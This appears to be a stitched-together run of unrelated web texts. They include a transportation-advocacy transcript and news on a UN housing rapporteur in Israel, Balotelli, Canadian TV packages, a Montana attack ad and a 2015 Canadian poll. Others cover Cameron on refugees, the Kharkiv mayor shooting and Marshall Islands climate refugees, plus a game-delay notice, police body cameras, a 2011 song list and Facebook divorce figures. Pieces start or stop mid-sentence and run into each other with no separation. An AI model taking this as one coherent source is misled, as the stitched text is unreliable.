class="speaker_1" >Man:</cite> [2:22] Earl needs no real introduction. But you all know of the wonderful work he did in Portland, when he was a counselor, and then, of course, with the US House of Representatives, one of the key people who steered US transportation policy in the right direction. </blockquote> <blockquote class="speaker_3_text"> <cite class="speaker_3" >Congressman Blumenauer:</cite> [2:35] For most of America, New York is our second city. I grew up in the Northwest, right? But I grew up actually watching New York on television, following New York in sports, movies. And so your efforts here, I think, are really having a profound effect on showing that you can take these principles and take them anywhere, and you're doing so in a way that's extraordinarily sophisticated. And you now have a city administration that is worthy of the advocacy group. [music] </blockquote> <blockquote class="speaker_3_text"> <cite class="speaker_3" >Congressman Blumenauer:</cite> [3:08] The advocates for safe routes to schools, for bike and pedestrian activity, for complete streets, for livability, are gaining traction, and members of Congress are hearing about it from people at home. The new administration is geared up, and I think this is the decade that it's all going to come together. </blockquote> <blockquote class="speaker_1_text"> <cite class="speaker_1" >Man:</cite> [3:30] The tide is turning! In fact, the tide has already turned. I think it's just a matter of how quickly we reshape our cities. And with Earl's help, I think we can go much faster here in New York, and all cities can. This next big transportation bill's going to be very important. Will there be enough money in that bill for bicycling and pedestrian facilities? We hope the answer's yes. </blockquote> <br/><br/>JERUSALEM – Israel is dispossessing Palestinians in east Jerusalem and the West Bank as well as its Arab minority with a “strategy of Judaisation,” a United Nations representative charged on Sunday.
Presenting her preliminary findings after a tour of Israel and the Palestinian territories this month, the UN’s Special Rapporteur on the right to adequate housing, Raquel Rolnik, said she had seen a pattern of discrimination.
“From the Galilee and the Negev to east Jerusalem and the West Bank, the Israeli authorities promote a territorial development model that excludes, discriminates against and displaces minorities, particularly affecting Palestinian communities, side by side with the accelerated development of predominantly Jewish settlements,” she said.
“As a whole, it is clear that Israeli policies and practices for the Palestinian population in east Jerusalem and the West Bank violate international human rights and humanitarian law,” she added.
The Palestinians have frequently accused Israel of trying to push Arab residents of east Jerusalem out of the city by making it almost impossible for them to obtain building permits.
Many simply build without the permits, but then face home demolitions that they say are both costly and traumatic.
In the West Bank, residents of areas under full Israeli military and civil control face similar restrictions, and the Bedouin community, both in the West Bank and inside Israel, accuses the government of trying to forcibly resettle them away from their traditional lands.
Rolnik’s report also noted “the dire conditions faced by the population” in the Gaza Strip, highlighting “the detrimental effects of the blockade on the housing situation and on infrastructure.”
Israel imposes strict rules on the import of items it says could be utilized by the Hamas rulers of Gaza, making construction in the coastal territory difficult.
Rolnik warned that Israel was “obligated under international law to find an appropriate housing solution for the protected persons, the Palestinian residents, living under its occupation.”
Rolnik has spent the last two weeks conducting tours in the area and meeting with officials in Israel, the West Bank and Gaza.
Her findings will be presented to Israel and the Palestinians, before being compiled into a final report due out in May 2013.
The initial findings presented on Sunday also accuse Israel of violating the rights of “low income persons of all identities, who find it increasingly difficult to obtain housing under existing policies.”
Rolnik noted that the state controls 93% of the land inside Israel, providing it with a “golden opportunity to promote housing,” she said.
“You can control land prices here, unlike other countries,” she said.Get the biggest football stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Nice striker Mario Balotelli has claimed he came close to joining Barcelona earlier in his career.
Once tipped to become one of the best players in the world as a youngster at Inter Milan, Balotelli has failed to fully deliver on his potential.
Since leaving Inter he has played for Manchester City, AC Milan, Liverpool and French outfit OGC Nice, where he currently is.
Balotelli suggested his career might've panned out differently had he signed for Barcelona when he was younger.
“I nearly joined Barcelona, but the club that had me at the time wanted money," Balotelli told RMC.
(Image: Claudio Villa)
(Image: Reuters)
The Italian forward, 26, remembers his two-and-a-half years at City fondly but would rather forget about his ill-fated season at Anfield.
He joined Liverpool from Milan in the summer of 2014 but lasted just a year on Merseyside before being loaned back to the Rossoneri and then signing for Nice on a free transfer last year.
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"Manchester City was a dream because there was such an Italian atmosphere there," said Balotelli, whose manager throughout his time at the Etihad was countryman Roberto Mancini.
Of his spell at Anfield, he added: “Don’t speak to me about Liverpool, please. There was a team with great people, fantastic fans, but the place…”Last year the CRTC announced new rules for cable and satellite companies to offer a $25 “skinny” TV package to consumers, along with pick and pay options for channels. The deadline to implement these are set for March 1, 2016, and now Shaw has revealed their package ahead of that date.
As you can see below the Shaw Limited TV package costs $25 per month and includes 40 channels (HD equipment not included). Here we see Canadian channels such as CBC, City, CTV, Global, while American channels include the likes of ABC, CBS, ABC and NBC.
The CRTC issued a memo today to remind companies of the upcoming March 1 deadline for implementing $25 basic packages, plus pick-and-pay options or small pre-assembled packages.
Regulations were amended to require cable and satellite companies to offer Canadian and non-Canadian programming services within the following dates:
during the period beginning on 1 March 2016 and ending on 30 November 2016, either on a stand-alone basis or in packages of up to 10 services; and
on or after 1 December 2016, both on a stand-alone basis and in packages of up to 10 services.
CRTC Chairman Jean-Pierre Blais told The Canadian Press the lack of updates from major companies such as Bell, TELUS and Rogers so close to the deadline “was a shot across the bow.” However, Blais believes bad faith is not the reason for the delay, but rather a wait-and-see approach to what competitors will offer.
Bell customer service reps have noted a February 21 date to release their basic TV package, while Rogers told The Canadian Press their offering will be announced before the March deadline.
Speaking at the Canadian Club today in Toronto, Blais gave a speech which said companies should try to offer better service for customers given these new regulations, calling it “their moment to shine”:
Cable and satellite companies should not view this change as an opportunity to replace business practices designed to maximize profits from captive customers with newer forms of anti-consumer behaviour. Instead, I urge them to make the products they sell even better for Canadians, and put viewers—their customers—back in control of their televisions.
Shaw recently launched FreeRange TV for iOS and Android, which lets customers watch live TV on the go. This app, coupled with the basic $25 package and Netflix, could bring you the best of both worlds to consume media away from your TV.
Let us know if you’re looking forward to switching to upcoming basic $25 ‘skinny’ cable packages.
Thanks KonstantinAs national attention turns to the special election in Montana, the super PAC backed by House GOP leadership is deploying House Minority Leader Nancy Pelosi in a new TV attack on Democratic nominee Rob Quist.
The ad, which will debut Friday on broadcast and cable, marks the start of an $800,000 media buy from Congressional Leadership Fund. The super PAC ran its first TV ad against Quist last month, using many of the same attacks.
But this new ad adopts the longtime GOP strategy, which CLF has used on TV repeatedly in Georgia in recent weeks, of tying Democratic congressional candidates to Pelosi.
“Rob Quist talks folksy,” the narrator says, opening the spot. “But his record is more Nancy Pelosi than Montana,” the narrator says.
“Whether it’s cuts to the military or doubling down on a health care system more expensive than Obamacare, Rob Quist continues to prove he is more in-tune with Nancy Pelosi than Montana,” CLF executive director Corry Bliss said in a statement.
The ad also goes after Quist’s personal financial troubles, hitting him for a “long pattern of failing to pay his bills” and late taxes.
“Rob’s reckless financial past is a scary indication of how he’d treat Montanans’ hard-earned dollars. CLF will continue to expose Rob for what he is: out-of-touch and untrustworthy,” Bliss said.
Quist is running against Republican Greg Gianforte in the special election to fill the at-large congressional seat vacated by former Rep. Ryan Zinke, who’s now serving as secretary of the Interior.Federal Conservatives surge; tied with NDP
New seat allocation favours Conservative minority; Harper approval up
TORONTO July 8th, 2015 - In a random sampling of public opinion taken by the Forum Poll™ among 1200 Canadian voters, exactly equal proportions, one third each, will vote for the New Democrats or the Conservatives (32% each) if a federal election were held today. Fewer, about one quarter, would vote Liberal (26%). These findings represent stability for the NDP, who led the poll last week at one third of the votes (32%), but a sharp increase in voting preference for the Conservatives (from 27%). The Liberals have seen their vote decrease slightly since last week (June 30 - 29%). The Greens would take a small share of the vote (3%), as would the Bloc Quebecois (5%). Very few will vote any other party (1%).
In vote-rich Ontario, the three parties are essentially tied (Conservative - 32%, Liberal - 33%, NDP - 31%), while in Quebec the NDP have a slight lead (29%) over the Conservatives (26%), while the Liberals (23%) and the Bloc trail (18%). In Atlantic Canada, the three parties are tied (Conservatives - 32%, Liberals- 29%, NDP - 33%), while in Alberta, the Conservatives dominate (54%) and the NDP are at half this level (28%). The NDP is dominant in BC (41%), followed by the Liberals (29%) and Conservatives (23%). In the prairies, the Conservatives (41%) and NDP (42%) are tied.
More than a quarter of those who voted Liberal in 2011 will vote NDP this time around (27%) and this is twice the proportion which will switch between other parties.
Strong Conservative minority seen
If these results are projected up to a 338 seat House of Commons, the Conservatives would capture a strong minority of 155 seats, 15 fewer than required for a majority. The NDP would take 120 seats and the Liberals 59. The Bloc would seat two members, the Green Party would retain the leader’s seat and one independent would sit.
Liberals, NDP equally likely to be second choice
About one half of Liberal voters pick the NDP as their second choice (49%), and the same goes for NDP voters picking the Liberals second (47%). One tenth of Liberals pick the Greens second (12%) and about one quarter of NDP voters do so too (24%). While close to one fifth of Liberals will take the Conservatives second (18%), only half this many New Democrats will (8%). It is clear that the NDP has the strongest advantage in the event of tactical voting, in that their combined total share of the vote is more than half the electorate (55%), while the Liberal ceiling is one half (50%). By contrast, the vote ceiling for the Conservatives is just 4-in-1 (41%).
Harper approval up, Mulcair suffers
More than a third of voters approve of the job being done by Stephen Harper (35%) and his net favourable score (approve minus disapprove) is a negative -24. This represents an improvement for the Prime Minister since last week (from 31% and -30). By contrast, Tom Mulcair’s approval is down (from 53% last week to 48% now) and his net score has dropped from +32 to +24, still very positive. Justin Trudeau’s approval is up slightly (from 38% to 41%), as is his net score (-6 to 0) since last week.
Higher expectations for NDP victory now
Three-in-ten voters expect the Conservatives to win the next election (30%) and this hasn’t changed, but close to this proportion now also believe the NDP will win (28%, up from 26%). Expectations of a Liberal victory have fallen (from 28% to 24%). Conservatives are more certain of their party’s victory (77%) than are either Liberals (69%) or New Democrats (65%).This tends to be a lagging measure, and reflects voting preferences seen several weeks prior.
Mulcair, Harper seen as best PM
While Tom Mulcair leads on the measure of best Prime Minister (27%) Stephen Harper is close behind (25%), while Justin Trudeau trails slightly (23%). Few pick Elizabeth May (6%) or Gilles Duceppe (4%), and one tenth think none of them is fit for the job (9%).
Voters claim they support party with best policies
One half of voters claim they decide who to vote for by selecting the party with the best policies (47%), while just more than a tenth say they vote for the best leader (14%), the best candidate in their riding (13%) or because it’s time for a change (12%). Just fewer than this say they vote for the party they always vote for (8%). Conservatives are especially likely to vote for their usual party (10%) or the best leader (19%), while Liberals are especially likely to vote for change (18%). Liberals are less likely than others to say they vote the party with the best policies (44%).
"Well, the other shoe has dropped, and the voters have begun to vet Tom Mulcair, because he’s suddenly the frontrunner, according to media polling. They've have had a closer look and have found him somewhat wanting. It is instructive that they do not return their favour to Justin Trudeau, the previous frontrunner, but begin to appreciate the Prime Minister more than in the past. We have said the electorate is looking for a fair fight, and they’re dispensing their support accordingly, across all three parties. If these small shifts in electoral favour keep occurring, no predictions about this election will be possible," said Forum Research President, Dr. Lorne Bozinoff.
Lorne Bozinoff, Ph.D. is the president and founder of Forum Research. He can be reached at lbozinoff@forumresearch.com or at (416) 960-9603.Media playback is unsupported on your device Media caption David Cameron said dealing with the refugee crisis was a "challenge"
David Cameron has said "taking more and more refugees" is not the answer to the EU's current migration crisis.
The UK has faced calls to take more of the hundreds of thousands of refugees arriving in Europe, many from Syria.
Mr Cameron said: "We are taking action across the board... the most important thing is to try to bring peace and stability to that part of the world.
"I don't think there is an answer that can be achieved simply by taking more and more refugees."
Asked about calls for the UK to do more, the prime minister said: "We are taking action right across the board - we're helping the countries from which these people are coming, stabilising them and trying to make sure that there are worthwhile jobs and stronger economies there.
"We're obviously taking action at Calais, in terms of the Channel - there's more that we need to do, and we're working together with our European partners as well. These are big challenges, but we'll meet them."
'Humanitarian crisis'
The number of migrants entering Europe has reached record levels, with 107,500 arriving in July alone.
Germany expects to take in 800,000 migrants this year - four times last year's total.
The risks for migrants travelling through Europe were highlighted last week by the deaths of 71 people found in a lorry that had travelled to Austria from Budapest.
EU interior and justice ministers will meet in Brussels on 14 September to address the crisis.
Syrian's perilous journey to Sweden
In photos: One day across destination Europe
Five obstacles to an EU migrants deal
The migrants who risk everything for a better life
Full coverage of Europe migrant crisis
Stephan Mayer, the home affairs spokesman for German chancellor Angela Merkel's CDU/CSU alliance has said the UK's stance on refugees may harm Mr Cameron's ambitions to win powers back from the EU ahead of an in/out referendum.
He told The Times: "If the British Government is continuing to hold this position that Great Britain is out of the club in this big task in sharing the burden, certainly this could do some harm to the bilateral British-German relationship, and certainly also to David Cameron's ambitions to be successful in the renegotiation."
Labour leadership candidate Yvette Cooper has called for the UK to take in 10,000 more refugees, a stance backed by all of her rivals, with Andy Burnham accusing the government of "burying its head in the sand" over the issue.
In a speech at the Royal United Services Institute Mr Burnham said: "This is a humanitarian crisis, not just a tedious inconvenience for British holidaymakers, as our government might have us believe."
And acting Labour leader Harriet Harman said the UK and other European countries must show more urgency.
"I think the government is literally just not involving themselves properly," she told BBC News. "I think it's right that we give resources to those in the camps, it's right that we're part of the international effort as well which is very important to put pressure on those powers in the region to solve this problem, but it's also right we take more of those swept up in this immediate humanitarian crisis."The mayor of Ukraine’s second largest city is fighting for his life after an assassination attempt, as unrest spirals in eastern Ukraine, local officials have said.
Gennady Kernes, the major of the eastern city of Kharkiv, was shot in the back at about midday local time.
“He is currently on the operating table in a hospital emergency room. Doctors are fighting for his life,” his office said in a statement on Monday afternoon.
The statement made no comment about the identity of the attackers or the circumstances of the attack.
Kharkiv is a major industrial and university city just 20 miles from the Russian border.
While it has seen pro-Russian disturbances in recent weeks, separatist activists have failed to establish a foothold there similar to those gained in Donetsk and Luhansk.
Pro-Russian demonstrators briefly occupied the regional administration building in the city centre earlier this month, but were swiftly evicted by police.
Mr Kernes is a member of former president Viktor Yanukovych’s Party of the Regions, and has been mayor of Kharkiv since 2010.
Heavily armed pro-Russian gunmen on Monday seized another town in east Ukraine, storming the town hall in Kostyantynivka and setting up barricades.
Kostyantynivka has 80,000 inhabitants and is located mid-way between the flashpoint town of Slavyansk and the regional hub city of Donetsk, both of which are also under the control of insurgents.
Speaking on a tour of Asia, President Barack Obama said the US and European Union would impose new sanctions later today that would target Russian companies and individuals close to President Vladimir Putin over the escalating crisis in Ukraine.
Pro-Russian men build a barricade in front of the seized city council building in Kostyantynivka (Marko Djurica/Reuters)
Mr Obama says the sanctions are in response to Russia's failure to uphold an international accord aimed at stemming the crisis in Ukraine. But he acknowledged that it's possible the sanctions won't change Russian President Vladimir Putin's calculus.
The specific targets are expected to be announced by officials in Washington. The list will also include firms with high-technology businesses close to the Russian defence industry.
A Ukrainian interior ministry spokesman said the pro-Russian separatists had taken the local police headquarters in Kostyantynivka first thing Monday.
"At 6:00am about 30 separatists came to the local police headquarters and occupied the ground floor. Negotiations are underway with the local police chief. We do not know what their demands are," said Laryssa Volkova, interior ministry spokeswoman.
Eyewitnesses said some 20 militants armed with Kalashnikov assault rifles and wearing uniforms with no insignias took control of the town hall and hoisted the flag of the "Donetsk Republic".
The gunmen also set up a perimeter around the adjoining police station.
They used the same tactics and weapons as those seen during in the lead-up to the annexation of Crimea which Moscow later admitted involved the deployment of Russian military forces.
Russian President Vladimir Putin has denied sending such forces to eastern Ukraine.
The development came hours after separatists paraded captive European military observers and three Ukrainian security guards, who were shown on Russian TV bloodied, blindfolded and stripped of their trousers and shoes, their arms bound with packing tape.
The provocative displays came as the increasingly ruthless pro-Russian insurgency in the east turns to hostage-taking as an ominous new tactic.
Germany's foreign minister condemned the appearance as "revolting" and a violation of the men's dignity. Four members of the team are German.
One of the observers, a Swedish officer, was released later in the day for medical reasons.
Dozens of people are being held hostage, including journalists and pro-Ukraine activists, in makeshift jails in Slovyansk in the heart of the separatists' territory, as the pro-Russian insurgents strengthen their control in the east in defiance of the interim government in Kiev and its Western supporters.
A crowd of several hundred pro-Russia activists stormed the television broadcasting centre in Donetsk, the regional capital of eastern Ukraine, to demand that Russian state channels be put back on the air. The Kiev government last month blocked broadcast of the Russian channels, which serve as propaganda tools for the Kremlin.
The crowd included several dozen men wearing camouflage fatigues and face masks, the standard uniform of the pro-Russia forces that have seized government buildings in at least 10 cities in eastern Ukraine.
Col Axel Schneider from Germany, who spoke for the group of military observers detained on Friday, stressed that they were on a diplomatic mission under the auspices of the Organisation of Security and Cooperation in Europe and weren't spying for Nato, as the insurgents claim.
Col Schneider said additional proof of this was the participation of the officer from Sweden, which is not a member of Nato.
The observers appeared nervous as they were escorted by armed men into the Slovyansk city hall for the news conference and then led away.
Referring to himself and his team as "guests" under the "protection" of the city's self-proclaimed mayor, Col Schneider said they were being treated as well as possible under the circumstances.
"The mayor of this city granted us his protection and he regarded us as his guests," Schneider told journalists. "I can tell you that the word of the mayor is a word of honor. We have not been touched."As warming seas climb their shores, Marshall Islanders face becoming climate refugees before the international community can decide what rights, if any, that status confers.
Sandbags surround the Majuro airstrip while hurriedly-built bridges span flooded sections of road, and many Marshall Islanders have built seawalls to protect their homes on this remote nation in the Pacific Ocean.
The Marshall Islands are made up of five main islands and 29 coral atolls spread across three-quarters of a million miles of ocean, but they amount to just 70 square miles of actual land. And even that is now at the mercy of the seas, which are rising thanks to climate change.
The United Nations has predicted sea levels will rise by up to three feet by 2100 if global carbon emissions continue unchecked, and a recent paper published in the journal Nature said this estimate should be doubled to more than six feet because of ice melt in Antarctica.
The Marshall Islanders seem destined to become climate refugees as the whole country threatens to disappear below sea level by the end of the century. And the seas are rising faster than international law can adapt. There is no international recognition of people displaced by climate change as refugees, leaving them without legal protection or rights.
The average elevation in the Marshall Islands is six feet, with many areas just above sea level. In recent years the “king tides” – two especially high tides that come each year at around the same time – have swept through the streets of the capital, Majuro. King tides never used to swamp the atoll; now they do.
Entire rows of damaged and abandoned homes can be seen in some areas of the atoll. About 170 miles southwest, Kili island has been flooded so regularly that its residents are thinking about leaving for good.
“If we lose our islands, we would become aimless refugees,” said Kathy Jetnil-Kijiner, a Marshallese poet and climate activist who lives in Majuro. “We could be the first to leave our entire country, our entire home.”
Two years ago, Jetnil-Kijiner was invited to speak at the United Nations Climate Summit in New York, where she called on world leaders to take action to save her island nation. She read one of her poems that describes the threat that faces the Marshallese people.
“Tell them we are a proud people toasted dark brown as the carved ribs of a tree stump.
Tell them we are descendants of the finest navigators in the world.
Tell them about the water, how we have seen it rising.
Tell them what it’s like to see the entire ocean level with the land.”
If displaced because of rising seas, the Marshall Islanders – like anyone put in this position by climate change or natural disaster – would find themselves in legal limbo. They would not qualify as refugees, so would not receive the same international protection, even though they were forced to leave their homes. That’s because “climate refugee” is not a term recognized under international law.
Alex Randall from Climate Outreach and Information Network ( |
to help us with field testing the updated engine. When we’ve weeded out and fixed all critical bugs, we'll publish the update and the team will return to Book Four.
We don’t have a new release date yet, but it will be in November. Luckily, Book Four was produced from the get-go using Unity 5, so there'll be fewer surprises going forward. We don’t foresee any additional delays finishing up the final two episodes. Fingers crossed.
My sincerest apologies for the delay. There’s not a lot we can do about third-party engine bugs, but the responsibility for our game, our deadlines and our customers lies with us, and we don’t like letting anyone down — least of all our backers. We’ll keep you updated on how things are progressing, and I hope and trust the update (and upgrade) will be worth the wait.
Key learnings? If you can avoid it, never do major upgrades of your game engine in the middle of production. We didn’t have much choice, but we’re certainly going to refrain from further updates in the future.
It’s not all doom and gloom, however. I can safely say that Book Four (Revelations! All the Revelations!) is my favourite episode so far, and, when the new engine is working, we’re seeing improved performance and shinier graphics across the board. We'll post some evidence soon. In the meantime, here's your first look at the new key art:
We’ve started a new forum thread to allow you guys to post comments and ask questions, and we’ll do our very best to answer — when we’re not busy working on the game!
Thanks for reading.
RagnarSA budget 2015: Frontline police to receive body-worn video cameras in $5.9m commitment
Updated
Body-worn cameras will be delivered to every frontline police officer in South Australia, with the State Government to spend nearly $6 million over four years on the devices.
The Government will commit $5.9 million in the 2015-16 SA budget to the cameras, and will also spend $7.4 million to put 680 removable "rugged" tablets in patrol cars.
Deputy commissioner Linda Williams said vision of police interactions with the public gave them better evidence for prosecution.
"We've seen them being used overseas in a couple of different jurisdictions," she said.
"They've been well-received by the police officers themselves.
"We've had trials with them here. It's very easy and quick for police officers to use, and the evidence capturing is fantastic."
SA Council for Civil Liberties spokesman George Mancini said it was yet another aspect of surveillance.
He said police should be required to tell people when they were being recorded and they should have access to the video.
"There may be no limitations on when the cameras are on and who they're filming," Mr Mancini said.
Police Association of SA president Mark Carroll said there was nothing new about the cameras, which he said had been used for many years across many jurisdictions.
"We want to find out about the capture of this data," he said.
"How will it be stored? How long will it be stored for? And what cost will come for SAPOL to do that."
Police Minister Tony Piccolo said the total SAPOL budget will rise to nearly $850 million in 2015-16, in "its highest ever funding allocation".
The full 2015-16 SA budget will be released on Thursday.
Topics: police, law-crime-and-justice, government-and-politics, parliament, state-parliament, sa
First postedWhen we started this tradition last year, I mentioned that as New Years Eve starts to roll around, you’re apt to see a number of “Best of 2011” music lists. I have no issue with these lists, and I think it’s great to look back at the best new music of the past twelve months. But this sort of thing doesn’t capture experience that most people have with music in a given year. In the past year, I discovered plenty of great music, some of it from 2011, some of it from decades ago, and everywhere in between. In that spirit, I present to you, in no particular order, the Top Ten Songs I Was Stuck on in 2011.
2011 was a fun, happy year for me, and that was reflected in my musical selections for this list. While there were certainly the usual intervals of serious or melancholy songs, they were well-balanced by the kind of music devoted to making you smile, making you laugh, or making you tap your feet.
1. Adele – Rolling in the Deep
“Throw your soul through every open door. Count your blessings to find what you look for. Turn my sorrow into treasured gold. You’ll pay me back in kind and reap just what you sow.”
The old school, soulful, riveting drive of this song absolutely blows me away every time. Adele has such a strong, powerful voice. She slides effortlessly from the smoky flavor of the first few lines into the raw force of the chorus. I dare you not to bob your head when Adele breaks into “we could have had it all.” It’s nigh impossible. The lyrics are straightforward, but perfectly tailored for the music and Adele’s instrument. It’s a song that’s just made for toe-tapping, clapping, and grooving along to the music. I found it stuck in my head repeatedly as one of the finest songs of 2011.
2. Neil Young – Heart of Gold
“I’ve been in my mind. It’s such a fine line that keeps me searching for a heart of gold.”
I have to admit, my knowledge of Neil Young does not stretch much further beyond a couple of magazine articles and a few conversations with my dad. Still, I’m slowly but surely catching up and “Heart of Gold” is a hell of a primer. It has a number of ingredients that really play well in my book. A set of good acoustic guitar riffs, a little harmonica, a steady beat, and a set of earnest lyrics all go a long way. I know I’m thirty or forty years too late in noticing, but Neil Young has a voice like dry crackling wood that underscores the soft sincerity of his words and makes this song something truly worthwhile.
3. Turquoise Jeep – Why I Gotta Wait??
“She holding on my hand calling me a sweet fellow. Try to get the green light but I keep getting yellow”
It’s embarrassing, but difficult, to pick just one of this group’s songs to make this list. There’s just something about Turquoise Jeep. With their hilariously unsubtle lyrics, screensaver-esque music videos, and various ostentatious group trademarks, I cannot decide whether they’re trolling us all in outrageous style and good fun, or whether hip hop has gone so far afield that they’re completely serious. It’s probably a little of both, but whatever their true rationale, I am very pleased to be able to enjoy their refuge in audacity. When you listen to the songs, you may laugh, or scoff, or both, but a funny thing happens. You find yourself humming one of their little tunes, or nodding your head to one of their beats, or even finishing any sentence that starts “let me go grab” with “my belt.” It’s hard to say this is the best music I’ve ever heard, but it’s also hard to say I wasn’t stuck on Turquoise Jeep in 2011. Keep the Jeep Ridin’.
4. Third Eye Blind – Motorcycle Drive By
“And there’s this burning, like there’s always been. I’ve never been so alone and I’ve never been so alive.”
Last year I added Third Eye Blind’s “Jumper” to this list, as a late but enthusiastic attendee of the 3EB party. Well, my girlfriend loaned me a CD and said that if I enjoyed that song, I ought to listen to the whole album. Boy was she ever right. I may fifteen years behind, but I loved Third Eye Blind’s 1997 self-titled album. Beyond the hits, almost every song on the album has something to recommend it, from the frantic urgency “Losing a Whole Year” to the slow-burning melancholy of “The Background.” Even amidst this collection of gems, the album’s penultimate song “Motorcycle Drive By” stood out. The intricately constructed dirge starts with a soft acoustic intro about want and regret before hitting the song’s above-mentioned tagline. The song builds from there in the second verse that drips with the combination of attraction and frustration. The music swells in the pre-chorus when the drums and the distortion hit with full force and the song picks up in intensity. Finally, the songs dips back gradually and beautifully into the initial wistfulness. This is [3EB lead singer] at the peak of his rambling/rhyming musical predilections. A wonderful song from a wonderful album.
5. The Maine – I Wanna Love You
“Birds eye, I got a clear view You can’t see me but I can see you.”
I am a sucker for off-beat covers of rap and hip-hop songs. There’s something about taking the swift rhythms and high-tempo lyricism of rap and listening as it’s all translated into another style that grabs the listener and makes them appreciate both the original and the adaptation in a new light. In that vein, The Maine takes the jam-worthy “I Wanna Love You” and turns it into a legitimate punk rock song that would completely play as a fun bit of rock and roll even if you didn’t know it was based on something by Akon and Snoop Dogg. They add a patently melodic quality to the song and do musical justice to the quick pace of the lyrics. There are few such covers that turn out as well as this. Definitely a song to rock out to while rolling down the highway.
6. Bright Eyes – Shell Games
“If I could change my mind, change the paradigm, repare myself for another life, forgive myself for the many times I was cruel to something helpless and weak.”
I have to admit, I was not crazy about Bright Eyes’ newest album, “The People’s Key.” It didn’t have that same diverse musical pull and consistently deep lyricism that we’ve come to expect from Conor Oberst. Still, as usual, Oberst did produce at least a few gems, and “Shell Games” is chief among them. I’m not a big fan of the cheesy 80’s style keyboards, but the rest of the instrumentation smacks of the usual skillful Bright Eyes melding of tones and styles. Moreover, the words convey the depth and thoughtfulness that Oberst brings to the table. The repeated line of “here it come, that heavy love” works perfectly as an oft-repeated refrain, and all-in-all this song feels the most like the Bright Eyes songs of old we’ve come to know and love.
7. Ben Gibbard – Carolina
“I leave today. I’m packing light: a suitcase some toiletries. The rolling hills and willow trees of Carolina wait for me.”
This song became something of an anthem for my girlfriend and I (not for the bad parts) as we rolled off to Carolina to begin a new chapter in both of our lives. “Carolina” is the second track off of Ben Gibbard, the lead singer of Death Cab for Cutie’s solo album “Home Volume V,” and it’s an enjoyable song about just that – taking a new step. The song is a simple one – really just a pair of acoustic guitars and some light harmonies that give the tune the feel of a classic folk song. As always, Ben Gibbard’s voice shines with his hope tinged with plaintiveness. Especially good for road trips or other long travels, “Carolina” is, despite some slightly uncomfortable subject matter, an uplifting song that I listened to again and again in 2011.
8. Joe Walsh – Life’s Been Good
“Lucky I’m sane after all I’ve been through. Everybody says I’m cool (He’s cool.) I can’t complain but sometimes I still do.”
I’m not sure what I like most about this song. It could be the funky opening riff that draws you right into the song. It could be the way the song perfectly mixes an intro of both acoustic and electric guitar. It could be the hilarious and sardonic lyrics that manage to both celebrate and poke fun at both rock music and rock stars. It could be the way that Walsh manages to make a middle-aged white guy singing over a reggae-inspired rhythm work. Whatever it is, the song is fun musically, fun lyrically, and all-around a great piece of music to crunch on. It found its way to the top of my playlist repeatedly in 2011, and for good reason.
9. The Lonely Forest – I Blame Us
“But lust for the power, in hope that I could somehow, do something to benefit…benefit a greater good.”
I had the pleasure of seeing The Lonely Forest open for Margot and Nuclear So-and-So’s this year. I had never heard of the band prior to that evening, but they impressed me enough to prompt me to check them out. The only predominantly piano-based song on the list, “I Blame Us” is the band’s impassioned condemnation of our culture of self-centeredness, designed distraction, and consumerism. When lead singer John Van Deusen belts out the title-phrase “I blame us” over some straight piano chords, it’s a simple but powerful bit of decrying this state. It’s a bit of a detour from the other, lighter songs that made their way into my regular rotation this year, but it’s a quality song that’s well worth your time.
10. Edward Sharpe & The Magnetic Zeros – Home
“Laugh until we think we’ll die, barefoot on a summer night. Never could be sweeter than with you. And in the streets we’re runnin’ free like it’s only you and me. Geeze, you’re somethin’ to see.”
From the very first bit of whistling over a steady guitar and tambourine, you can tell this song is something else. Released in 2009, it feels like a song that would fit just as well in the 1960’s being sung by Bob Dylan and Joan Baez rather than Alex Ebert and Jade Castrinos. That old school in the inflection of the two singers’ voices gives the love song a certain quaint sweetness to it. To boot, the whistling, the trumpets, the piano, all come together to support every line and they’re bolstered by a sort of communal campfire sense to the song as well. It’s offbeat, creative, and fun with an classic sensibility that made it one of the best songs I was stuck on this year, and a chorus that was often on my lips in 2011.
Honorable Mentions:
1. They Might Be Giants – The Sun is a Mass of Incandescent Gas – Hard not to love the educational hilarity and talent of TMBG. This little ditty about the sun is particularly entertaining, with a catchy tune that was stuck in my head all summer. I would be remiss if I didn’t mention that the band issued a musical correction song called, “The Sun is a Miasma of Incandescent Plasma” that’s almost as good as their first take on the sun.
2. LMFAO – Everyday I’m Shufflin’ – The lyrics are as pointless, shallow, and stupid as any in popular music right now, but damn if it isn’t a catchy tune that I have to admit I’ve shuffled to more than a few times.
3. Cage the Elephant – Shake Me Down – Another great song that gets you bobbing your head. It’s a little rougher than my usual fare, but I still found myself listening to it over and over again.
4. Florence and the Machine – Dog Days Are Over – Hard to keep this one off the list, but it’s another great choice for rocking out. The various breakdowns and bursts into the chorus are executed perfectly and everything falls into place.
5. Steven Page – The Lion’s Teeth – I love the Mountain Goats, I love creative covers, I enjoy Steven Page of “Barenaked Ladies” adventurousness, and I really enjoy a quality song being given the big band treatment. Thus, Steven Page’s big band-style cover of this Mountain Goats song hit just the right spot.
AdvertisementsFacebook is increasingly being blamed as a reason for, or as evidence when, filing for divorce. In 2011, 33 percent of behavior petitions contained the name of the social network; this is a whopping increase from 2009, when only 20 percent mentioned Facebook.
The results come a survey carried out by the UK divorce website Divorce-Online: the first instance in December 2009 and a follow-up in December 2011. In both cases, 5,000 petitions were queried by the website.
The most common reasons where Facebook was cited as evidence have not changed. They were almost always related to a spouses behavior with the opposite sex, although this included using Facebook to make comments about their exes once they had separated, as well as using their Walls as weapons in their divorce battle. Here are the top three reasons:
Inappropriate messages to members of the opposite sex. Separated spouses posting nasty comments about each other. Facebook friends reporting spouse's behavior.
By comparison, Twitter only appeared in 20 petitions as part of behavior allegations, meaning it could only be blamed for 0.4 percent of the cases. Once again though, the platform was used as a communication tool to make comments about exes.
"Social networking has become the primary tool for communication and is taking over from text and e-mail in my opinion," a Divorce-Online spokesperson said in a statement. "If someone wants to have an affair or flirt with the opposite sex then the easiest place to do it. Also the use of Facebook to make comments about ex partners to friends has become extremely common with both sides using Facebook to vent their grievances against each other. People need to be careful what they write on their walls as the courts are seeing these posts being used in financial disputes and children cases as evidence."
What's important here is not the actual fraction of divorces (33 percent) Facebook is being blamed for, but the fact it is growing (from 20 percent to 33 percent). Back in December 2009, Facebook was blamed for 20 percent of divorces in the US. It's impossible to rate the accuracy of these numbers without analyzing every single divorce case in both countries.
